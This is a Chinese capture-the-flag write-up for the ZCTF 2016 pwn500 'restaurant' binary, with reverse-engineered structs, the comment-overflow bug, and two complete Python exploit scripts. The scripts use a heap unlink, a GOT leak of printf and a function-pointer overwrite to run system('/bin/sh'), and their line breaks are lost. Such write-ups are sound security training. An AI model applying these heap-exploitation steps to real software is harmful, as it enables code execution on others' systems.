zctf-pwn500-restaurant-write-up

来源:互联网 发布:华傲数据是外包公司么 编辑:程序博客网 时间:2024/06/06 06:49

2016-zctf-pwn500-restaurant-write-up(中国菜馆)

花了六七个小时做这个题目,还是没搞出来。。。。。。好菜。。。。

这道题是用c++写的

结构体有以下几个:

0000000000000000 struct_info     struc ; (sizeof=0x90, align=0x8)00000000 name            db 16 dup(?)00000010 country_name    db 16 dup(?)00000020 money           dq ?00000028 age             dq ?                    ; offset00000030 show_exit_info_func dq ?00000038 order_ptr       dq 3 dup(?)00000050 addition_comment db 64 dup(?)00000090 struct_info     ends0000009000000000 ; ---------------------------------------------------------------------------0000000000000000 struct_type1    struc ; (sizeof=0x50, align=0x8)00000000 vitable         dq ?                    ; offset00000008 taste_comment   db 32 dup(?)00000028 message         db 16 dup(?)00000038 price           dq ?00000040 look_comment    db 16 dup(?)00000050 struct_type1    ends0000005000000000 ; ---------------------------------------------------------------------------0000000000000000 struct_type2    struc ; (sizeof=0x88, align=0x8)00000000 vitable         dq ?00000008 taste_comment   db 32 dup(?)00000028 message         db 32 dup(?)00000048 price           dq ?00000050 look_comment    db 56 dup(?)00000088 struct_type2    ends0000008800000000 ; ---------------------------------------------------------------------------0000000000000000 struct_type3    struc ; (sizeof=0x80, align=0x8)00000000 vitable         dq ?00000008 taste_comment   db 32 dup(?)00000028 message         db 48 dup(?)00000058 price           dq ?00000060 look_comment    db 32 dup(?)00000080 struct_type3    ends

其实漏洞还是很明显的,

各个类型的虚函数表大概如下:

.rodata:0000000000404770 type1_404770    dq offset show_0_4028D4 ; DATA XREF: staple_food1_init_402860+1Co.rodata:0000000000404770                                         ; init_403B62+10o.rodata:0000000000404778                 dq offset get_price_8_4029A4.rodata:0000000000404780                 dq offset append_16_4029B6.rodata:0000000000404788                 dq offset copy_24_4029E0.rodata:0000000000404790                 dq offset get_look_comment_32_4028B2.rodata:0000000000404798                 dq offset get_max_comment_szie_40_4028C4.rodata:00000000004047A0                 dq offset init_403B62.rodata:00000000004047A8                 dq offset delete_56_403B9C

就是在添加评论的时候,外观评价上有个8(最多9个)字节的溢出,触发情况如下:

首先评论的时候直接是copy函数,第二次更改的时候,是在“Changed”后面append上评论的字符串,而每次get_max_comment_size的时候,大小都是固定的,所以会溢出

如下:

      fgets(s, len + 2, stdin);      s[len + 2] = '\n';      if ( (signed int)strlen(s) > len )      {        LODWORD(v4) = std::operator<<<std::char_traits<char>>(6316416LL, 0x403F6ELL);// 0x403F6EL  Your comment is too long!        std::ostream::operator<<(v4, 0x400ED0LL);        exit(1);      }      LODWORD(v5) = (*(int (__fastcall **)(_QWORD))(**(_QWORD **)&info->name[8 * (i + 6LL) + 8] + 32LL))(*(_QWORD *)&info->name[8 * (i + 6LL) + 8]);      if ( *(_BYTE *)v5 )      {        LODWORD(v6) = (*(int (__fastcall **)(_QWORD))(**(_QWORD **)&info->name[8 * (i + 6LL) + 8] + 32LL))(*(_QWORD *)&info->name[8 * (i + 6LL) + 8]);        *(_QWORD *)v6 = ':degnahC';        *(_BYTE *)(v6 + 8) = 0;      }      else      {        LODWORD(v7) = (*(int (__fastcall **)(_QWORD))(**(_QWORD **)&info->name[8 * (i + 6LL) + 8] + 32LL))(*(_QWORD *)&info->name[8 * (i + 6LL) + 8]);        *(_BYTE *)v7 = 0;      }      (*(void (__fastcall **)(_QWORD, char *))(**(_QWORD **)&info->name[8 * (i + 6LL) + 8] + 16LL))(        *(_QWORD *)&info->name[8 * (i + 6LL) + 8],        s);      v14 = 1;

不成功脚本:
当时最开始做的时候,是采用off by one将后面的节点进行释放,达到两个菜单的堆块重叠,最终改写另外一个菜单的虚表,最终成功的到达了system,但是没法传参数,思路卡住了。。。。。。,由于没成功,就不多介绍了。。。

__author__ = "pxx"from zio import *from pwn import *#ip = 218.29.102.109target = "./restaurant"#target = ("115.28.27.103", 44444)def get_io(target):r_m = COLORED(RAW, "green")w_m = COLORED(RAW, "blue")io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)return  io def take_staple_food(io):io.read_until("8. Finish your order.\n")io.writeline("1")def take_entree(io):io.read_until("8. Finish your order.\n")io.writeline("2")def take_soup(io):io.read_until("8. Finish your order.\n")io.writeline("3")def add_comments(io, order, look, taste):io.read_until("8. Finish your order.\n")io.writeline("7")io.read_until("Which order do you want to make a comment(1,2 or 3 depend on menu): ")io.writeline(str(order))io.read_until("How does this dish look: \n")io.writeline(look)io.read_until("How does this dish taste: \n")io.writeline(taste)def cancel_order(io, order):io.read_until("8. Finish your order.\n")io.writeline("5")io.read_until("Which order do you want to cancel(1,2 or 3 depend on menu): ")io.writeline(str(order))def show_list(io):io.read_until("8. Finish your order.\n")io.writeline("4")def show_account(io):io.read_until("8. Finish your order.\n")io.writeline("6")map_info = {}map_info["Steamed rice"] = 1 #0x50 map_info["Pan-Fried Bun Stuffed with Pork"] = 2 #0x88map_info["Jiaozi Stuffed with Pork and Chinese Cabbage"] = 3 #0x80map_info["Kun Pao Chicken"] = 1 #0x50 map_info["Scrambled  Egg  with Tomato"] = 2 #0x88map_info["Shredded Pork with Vegetables, Sichuan Style"] = 3 #0x80map_info["Scallop Soup"] = 1 #0x50 map_info["Minced Beef and Tofu Soup"] = 2 #0x88map_info["Shredded Pork with Pickled Vegetable Soup"] = 3 #0x80def pwn(io):printf_got = 0x0000000000606018io.read_until("Please enter your name: ")show_info_addr = 0x40261ename = l64(show_info_addr)io.writeline(name)io.read_until(", you are the luckey ")data = io.read_until("th guest")[:-8]info_addr = int(data)print "info_addr:", hex(info_addr)io.read_until("Are you from China? (y/n) ")io.writeline("n")io.read_until("Dear foreigner, please enter your country: ")atoi_got = 0x00000000006060a0country = 'pxx\x00'country = country.ljust(16, 'a')country += l64(0x999999)[:4]io.writeline(country)io.read_until("How old are you: ")age = printf_gotio.writeline(str(age))take_staple_food(io)take_entree(io)take_soup(io)show_list(io)target_order = 1target_type = -1result = []for i in range(1, 4):io.read_until("Order %d : \n"%(i))io.read_until("name: ")name = io.read_until("\n")[:-1]print map_info[name], nameresult.append(map_info[name])if i == 1:target_type = map_info[name]if result[0] != 2 or result[1] != 1:io.close()print "first node not match"return Falsesize = 0size_map = {}size_map[1] = 0x50size_map[2] = 0x88size_map[3] = 0x80size2_map = {}size2_map[1] = 16size2_map[2] = 56size2_map[3] = 32look = 'aaa'taste = 'a' * 8add_comments(io, target_order, look, taste)size2 = 0x10if result[2] == 2:size2 = 0x08look = 'aaa\x00'look = look.ljust(size2_map[2] - 8, 'a')look += l64(size_map[result[1]] + 0x10 + size2 + size_map[result[2]] + 1)taste = 'a' * 8add_comments(io, target_order, look, taste)cancel_order(io, 2)take_entree(io)show_list(io)result2 = []for i in range(1, 3):io.read_until("Order %d : \n"%(i))io.read_until("name: ")name = io.read_until("\n")[:-1]print map_info[name], nameresult2.append(map_info[name])#io.read_until()if result2[1] == 1:io.close()print "second node not match"return Falseio.gdb_hint()if result2[1] == 2:look = 'aaa'taste = 'bbb'add_comments(io, 2, look, taste)look = 'a' * (0x10 - 8)look += l64(info_addr)look += 'a' * 32look += l64(printf_got)[:6]taste = 'a' * 8add_comments(io, 2, look, taste)else:#look = 'a' * 0x10look += l64(info_addr)look += 'a' * 32look += l32(printf_got)taste = 'a' * 8add_comments(io, 2, look, taste)show_list(io)io.read_until("Order 3 : \n")io.read_until("Your age: ")data = io.read_until("\n")[:-1]target_addr = int(data)print "target_addr:", hex(target_addr)#data = io.read_until("Now ple1ase take a order:")[:-len("Now please take a order:")]#print [c for c in  data]#elf_info = ELF("./libc-2.19.so")elf_info = ELF("./libc.so.6")target_offset = elf_info.symbols["printf"]system_offset = elf_info.symbols["system"]print "info_addr:", hex(info_addr)buff_addr = l64(info_addr + 0x90 + 0x20 + 0x10 + 0x88 + 0x08 + 0x50 + 0x10 + 0x10)libc_base = target_addr - target_offsetsystem_addr = libc_base + system_offsetdata = l64(system_addr)look = 'a' * (0x10 - 8)look += buff_addrlook += "/bin/sh;" + data + ";/bin/sh;"show_list(io)taste = 'a' * 8add_comments(io, 2, look, taste)#delete_note(io, 6)io.interact()return Truewhile True:io = get_io(target)if pwn(io) == True:break


</pre><pre>

成功脚本:

利用坑点:(可能我写利用不太成熟,觉得限制太多。。。菜到家了)

1.  利用的时候几乎只能是用类型2进行,因为:

另外两种类型:0x50,0x80,在堆使用的时候,溢出的8字节刚好把多余的pre_size占用,只能覆盖到size的最高位(感觉这样难利用),

所以选择0x88大小的size,这样pre_size在自己的buff内部,可以填写,而溢出的8字节,刚好可以覆盖后面堆块的size,最终达到unlink利用。

2. 由于每次的类型是随机的,感觉情况好多,但是后来发现固定死一种比较好求解,,而且貌似其他会发生异常,主要原因在于:

每次添加评论的时候,都会调用一下虚表中的get_max_comment_size,unlink改写后,order_ptr 所向的地方,会被改成&addr-3,这个位置要不就是存money的地方,要不就是前面的某个位置,我最后改成的就是存放money的位置(money的值就是虚表的地址),而money是我第一次溢出改写后,几乎就只与我订单有关系了,如果随机,那么虚表就没法确定,导致调用异常,最后我订两个菜单(类型2, 类型2),然后在利用age泄露地址,利用退出时回显的消息来改成system,达到获取shell

最后脚本如下:

__author__ = "pxx"from zio import *from pwn import *#ip = 218.29.102.109target = "./restaurant"#target = ("115.28.27.103", 44444)def get_io(target):r_m = COLORED(RAW, "green")w_m = COLORED(RAW, "blue")io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)return  io def take_staple_food(io):io.read_until("8. Finish your order.\n")io.writeline("1")def take_entree(io):io.read_until("8. Finish your order.\n")io.writeline("2")def take_soup(io):io.read_until("8. Finish your order.\n")io.writeline("3")def add_comments(io, order, look, taste):io.read_until("8. Finish your order.\n")io.writeline("7")io.read_until("Which order do you want to make a comment(1,2 or 3 depend on menu): ")io.writeline(str(order))io.read_until("How does this dish look: \n")io.writeline(look)io.read_until("How does this dish taste: \n")io.writeline(taste)def cancel_order(io, order):io.read_until("8. Finish your order.\n")io.writeline("5")io.read_until("Which order do you want to cancel(1,2 or 3 depend on menu): ")io.writeline(str(order))def show_list(io):io.read_until("8. Finish your order.\n")io.writeline("4")def show_account(io):io.read_until("8. Finish your order.\n")io.writeline("6")def finish_order(io):io.read_until("8. Finish your order.\n")io.writeline("8")map_info = {}map_info["Steamed rice"] = 1 #0x50 map_info["Pan-Fried Bun Stuffed with Pork"] = 2 #0x88map_info["Jiaozi Stuffed with Pork and Chinese Cabbage"] = 3 #0x80map_info["Kun Pao Chicken"] = 1 #0x50 map_info["Scrambled  Egg  with Tomato"] = 2 #0x88map_info["Shredded Pork with Vegetables, Sichuan Style"] = 3 #0x80map_info["Scallop Soup"] = 1 #0x50 map_info["Minced Beef and Tofu Soup"] = 2 #0x88map_info["Shredded Pork with Pickled Vegetable Soup"] = 3 #0x80def pwn(io):printf_got = 0x0000000000606018io.read_until("Please enter your name: ")show_info_addr = 0x40261ename = "/bin/sh;"io.writeline(name)io.read_until(", you are the luckey ")data = io.read_until("th guest")[:-8]info_addr = int(data)io.read_until("Are you from China? (y/n) ")io.writeline("n")io.read_until("Dear foreigner, please enter your country: ")atoi_got = 0x00000000006060a0country = 'pxx\x00'country = country.ljust(16, 'a')type_2_virt = 0x404710 country += l64(type_2_virt + 2 + 10)[:4]io.writeline(country)io.read_until("How old are you: ")age = printf_gotio.writeline(str(age))take_staple_food(io)take_entree(io)#take_soup(io)show_list(io)result = []for i in range(1, 3):io.read_until("Order %d : \n"%(i))io.read_until("name: ")name = io.read_until("\n")[:-1]print map_info[name], nameresult.append(map_info[name])if result != [2, 2]:#print "not pass this"#raw_input()io.close()return Falsesize_map = {}size_map[1] = 0x50size_map[2] = 0x88size_map[3] = 0x80heap_size_map = {}heap_size_map[1] = 0x60heap_size_map[2] = 0x90heap_size_map[3] = 0x90size2_map = {}size2_map[1] = 16size2_map[2] = 56size2_map[3] = 32target_order = 0node_addr = 0target_order = 1node_addr  = info_addr + 0x38look = 'aaa'taste = 'a' * 8add_comments(io, target_order, look, taste)#useful_code --- begin#prepare argsarch_bytes = 8heap_buff_size = 0x80 #0x78 #0x80#node1_addr = &p0node1_addr = node_addrpack_fun = l64heap_node_size = heap_buff_size + 2 * arch_bytes #0x88p0 = ""#pack_fun(0x0)p1 = pack_fun(heap_buff_size + 0x01)p2 = pack_fun(node1_addr - 3 * arch_bytes)p3 = pack_fun(node1_addr - 2 * arch_bytes)#p[2]=p-3#p[3]=p-2#node1_addr = &node1_addr - 3node2_pre_size = pack_fun(heap_buff_size)#node2_size = pack_fun(heap_node_size)#data1 = p0 + p1 + p2 + p3 + "".ljust(heap_buff_size - 4 * arch_bytes, '1') + node2_pre_size + node2_sizedata1 = p0 + p1 + p2 + p3node2_size = pack_fun(heap_size_map[result[target_order - 1 + 1]])data2 = node2_pre_size + node2_size#useful_code --- endlook = 'a' * (56 - 8 - 8) + data2taste = data1add_comments(io, target_order, look, taste)print "next_type:", result[target_order - 1 + 1]print "next_size:", hex(heap_size_map[result[target_order - 1 + 1]])cancel_order(io, target_order + 1)print "info_addr:", hex(info_addr)io.gdb_hint()look = ''taste = ''taste += l64(printf_got) #ageadd_comments(io, target_order, look, taste)show_account(io)io.read_until("Your age: ")data = io.read_until("\n")[:-1]printf_addr = int(data)print "printf_addr:", hex(printf_addr)#data = io.read_until("Now ple1ase take a order:")[:-len("Now please take a order:")]#print [c for c in  data]#elf_info = ELF("./libc-2.19.so")elf_info = ELF("./libc.so.6")target_offset = elf_info.symbols["printf"]system_offset = elf_info.symbols["system"]libc_base = printf_addr - target_offsetsystem_addr = libc_base + system_offsetlook = ''taste = ''taste += l64(printf_got) #agetaste += l64(system_addr) #show_exit_infoadd_comments(io, target_order, look, taste)finish_order(io)io.read_until("3.Just so so!\n")io.writeline("3")io.interact()return Truewhile True:io = get_io(target)if pwn(io) == True:break

附张成功图

0 0
原创粉丝点击